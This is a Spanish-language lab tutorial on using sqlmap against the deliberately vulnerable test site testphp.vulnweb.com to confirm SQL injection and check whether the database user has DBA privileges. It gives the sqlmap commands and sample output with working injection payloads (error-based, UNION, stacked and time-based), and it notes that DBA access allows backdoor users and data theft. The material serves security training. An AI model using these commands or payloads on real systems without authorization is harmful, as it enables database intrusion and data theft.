Verificar Privilegios de Administrador de Base de Datos con sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En el ámbito de la ciberseguridad y las pruebas de penetración, comprender el nivel de acceso que se ha obtenido en un sistema comprometido es primordial. Cuando se trata de sistemas de bases de datos, una de las piezas de información más críticas es si el usuario actual de la base de datos posee privilegios de Administrador de Bases de Datos (DBA). Un usuario DBA típicamente tiene un control extenso sobre la base de datos, incluida la capacidad de crear, modificar y eliminar bases de datos, tablas y usuarios, así como leer y escribir datos sensibles.

sqlmap es una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL y la toma de control de servidores de bases de datos. Más allá de simplemente encontrar vulnerabilidades, sqlmap proporciona varias funcionalidades para enumerar e interactuar con la base de datos comprometida. Una de estas características cruciales es la capacidad de verificar si el usuario actual de la base de datos tiene privilegios de DBA.

Este laboratorio lo guiará a través del proceso de uso de sqlmap para determinar si el usuario actual de la base de datos tiene privilegios de DBA. Aprenderá cómo establecer una inyección SQL exitosa, comprenderá por qué son importantes los privilegios de DBA y luego utilizará la bandera --is-dba de sqlmap para realizar la verificación. Finalmente, interpretará los resultados para comprender el nivel de acceso.

Establecer una Inyección Exitosa en un Objetivo

En este paso, simularemos el establecimiento de una inyección SQL exitosa en un objetivo. Para el propósito de este laboratorio, utilizaremos una URL vulnerable conocida que sqlmap puede explotar. Este paso inicial es crucial porque sqlmap necesita un punto de inyección válido para interactuar con la base de datos y realizar una enumeración adicional, incluida la verificación de privilegios de DBA.

Abra su terminal en el directorio ~/project. Utilizaremos una URL ficticia para fines de demostración. En un escenario del mundo real, habría identificado una URL vulnerable a través de reconocimiento y pruebas manuales.

Ejecute el siguiente comando de sqlmap para confirmar una inyección exitosa. Usaremos las banderas --url y --batch para automatizar el proceso y aceptar las opciones predeterminadas.

sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

Debería ver que sqlmap realiza varias pruebas y finalmente confirma que el objetivo es vulnerable a la inyección SQL. Busque la salida que indique la detección exitosa de vulnerabilidades.

        _
       ___| |_____ ___ ___ ___ {1.6.11.1#dev}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --[sqlmap]--
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[SNIP]

[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
sqlmap identified the following injection point(s) with a total of 18 HTTP(s) requests:
---
Parameter: cat (GET)
    Type: error-based
    Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7178717871,(SELECT (ELT(1337=1337,1))),0x717a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: UNION query
    Title: MySQL UNION query all columns - 10 columns
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--

    Type: Stacked queries
    Title: MySQL > 5.0.11 stacked queries (comment)
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1;SELECT SLEEP(5)--

    Type: Time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'

La salida confirma que el parámetro cat es vulnerable a varios tipos de inyección SQL. Esto significa que sqlmap ahora puede interactuar con la base de datos.

Comprender la Importancia de los Privilegios de DBA

En este paso, discutiremos brevemente por qué verificar los privilegios de DBA es importante en el contexto de una evaluación de seguridad o una prueba de penetración. Comprender las implicaciones de tener acceso de DBA le ayuda a priorizar sus acciones y evaluar el impacto potencial de una explotación exitosa.

Un Administrador de Bases de Datos (DBA) típicamente ostenta el nivel más alto de privilegios dentro de un sistema de bases de datos. Estos privilegios a menudo incluyen:

  • Control total sobre los datos: La capacidad de leer, escribir, modificar y eliminar cualquier dato dentro de la base de datos, incluida información sensible como credenciales de usuario, registros financieros o datos personales.
  • Modificación del esquema: El poder de crear, alterar o eliminar tablas, vistas, procedimientos almacenados y otros objetos de la base de datos. Esto puede llevar a la manipulación de datos o incluso a la denegación de servicio.
  • Gestión de usuarios: La capacidad de crear, modificar o eliminar otros usuarios de la base de datos y asignar o revocar sus privilegios. Esto se puede utilizar para crear puertas traseras o escalar privilegios aún más.
  • Acceso a nivel de sistema (en algunos casos): Dependiendo del sistema de base de datos y su configuración, los privilegios de DBA podrían extenderse a la ejecución de comandos del sistema operativo o al acceso a archivos en el servidor, lo que llevaría a un compromiso total del sistema.

Si descubre que el usuario actual de la base de datos tiene privilegios de DBA, esto significa una vulnerabilidad crítica. Significa que tiene un control extenso sobre la base de datos, que puede ser aprovechado para ataques adicionales, exfiltración de datos o compromiso del sistema. Por el contrario, si el usuario no tiene privilegios de DBA, su acceso es limitado y es posible que deba buscar oportunidades de escalada de privilegios.

Este paso no implica comandos directos, pero es crucial para comprender el contexto de los siguientes pasos.

Usar la Bandera --is-dba para Verificar los Privilegios del Usuario Actual

En este paso, aprenderemos sobre la bandera específica de sqlmap que se utiliza para verificar los privilegios de DBA: --is-dba. Esta bandera está diseñada para determinar rápidamente si el usuario actual de la base de datos, identificado a través de la inyección SQL, tiene derechos administrativos.

La bandera --is-dba es una opción booleana. Cuando se utiliza, sqlmap realizará una serie de comprobaciones contra la base de datos para determinar si el usuario tiene permisos de nivel DBA. El resultado será una simple salida True o False, que indicará la presencia o ausencia de estos privilegios.

Es importante tener en cuenta que sqlmap necesita haber establecido con éxito un punto de inyección (como hicimos en el Paso 1) antes de poder utilizar eficazmente la bandera --is-dba. Sin una inyección válida, sqlmap no puede comunicarse con la base de datos para realizar las comprobaciones necesarias.

La sintaxis para usar esta bandera es sencilla:

sqlmap --url "<target_url>" --is-dba

Donde <target_url> es la URL vulnerable que identificó. En nuestro caso, será http://testphp.vulnweb.com/listproducts.php?cat=1.

Este paso también es principalmente conceptual, preparándolo para la ejecución real en el siguiente paso.

Ejecutar el Comando para Verificar el Estado de DBA

Ahora que entendemos la bandera --is-dba, ejecutemos el comando sqlmap para verificar los privilegios de DBA en nuestro objetivo.

Abre tu terminal en el directorio ~/project. Usaremos la misma URL vulnerable del Paso 1.

Ejecuta el siguiente comando:

sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --batch

La bandera --batch se añade nuevamente para automatizar el proceso y aceptar las opciones predeterminadas, evitando que sqlmap solicite la entrada del usuario durante el proceso.

sqlmap realizará ahora sus comprobaciones. Observa cuidadosamente la salida. Deberías ver a sqlmap probando varios privilegios y, finalmente, proporcionando una respuesta clara sobre el estado de DBA.

        _
       ___| |_____ ___ ___ ___ {1.6.11.1#dev}
      |_ -| . |     | . | . |
      |___|_|_|_|_|_|___|  . |   --[sqlmap]--
                         |_|

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[SNIP]

[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
[INFO] checking if the current user is DBA
[INFO] the current user is not a DBA
[INFO] fetched data:
[INFO] the current user is DBA: False

En la salida, busca la línea que dice explícitamente "the current user is DBA: False" o "the current user is DBA: True". Este es el resultado de nuestra verificación.

Interpretar el Resultado True o False de sqlmap

En este paso final, interpretaremos el resultado True o False obtenido de la verificación --is-dba de sqlmap y comprenderemos sus implicaciones.

Después de ejecutar el comando en el Paso 4, sqlmap mostrará una línea similar a:

[INFO] the current user is DBA: False

o

[INFO] the current user is DBA: True

Interpretación del Resultado:

  • [INFO] the current user is DBA: False: Esto indica que el usuario actual de la base de datos, a través del cual sqlmap está interactuando con la base de datos, no posee privilegios de Administrador de Base de Datos (DBA). Aunque haya explotado con éxito una inyección SQL, su acceso es limitado. En una prueba de penetración real, esto significaría que necesita buscar otras vías, como técnicas de escalada de privilegios, para obtener un acceso superior.
  • [INFO] the current user is DBA: True: Esto indica que el usuario actual de la base de datos posee privilegios de Administrador de Base de Datos (DBA). Este es un hallazgo significativo, ya que implica un control extenso sobre la base de datos. Con privilegios de DBA, potencialmente podría:
    • Leer, modificar o eliminar cualquier dato.
    • Crear nuevos usuarios con derechos administrativos.
    • Ejecutar comandos del sistema operativo (si la configuración de la base de datos lo permite).
    • Realizar una enumeración adicional para descubrir información sensible.

Para el objetivo http://testphp.vulnweb.com utilizado en este laboratorio, la salida esperada es False, lo que significa que el usuario con el que opera sqlmap no tiene privilegios de DBA. Este es un escenario común en aplicaciones del mundo real donde los usuarios de bases de datos a menudo se configuran con el principio de menor privilegio.

Comprender este resultado es crucial para planificar sus próximos pasos en una evaluación de seguridad. Le ayuda a evaluar la gravedad de la vulnerabilidad de inyección SQL y el impacto potencial en el sistema objetivo.

Resumen

En este laboratorio, ha aprendido con éxito cómo verificar los privilegios de Administrador de Base de Datos (DBA) utilizando sqlmap. Comenzó estableciendo una inyección SQL exitosa en un objetivo, que es un requisito previo para que sqlmap interactúe con la base de datos. Luego discutimos la importancia crítica de identificar los privilegios de DBA en un contexto de seguridad, destacando el control extenso que tales privilegios otorgan sobre un sistema de base de datos.

Aprendió sobre la bandera específica de sqlmap, --is-dba, diseñada para este propósito. Finalmente, ejecutó el comando e interpretó el resultado True o False, comprendiendo sus implicaciones para pruebas de penetración o evaluaciones de seguridad posteriores. Esta habilidad es fundamental para evaluar con precisión el impacto de las vulnerabilidades de inyección SQL y planificar acciones subsiguientes en un compromiso de ciberseguridad.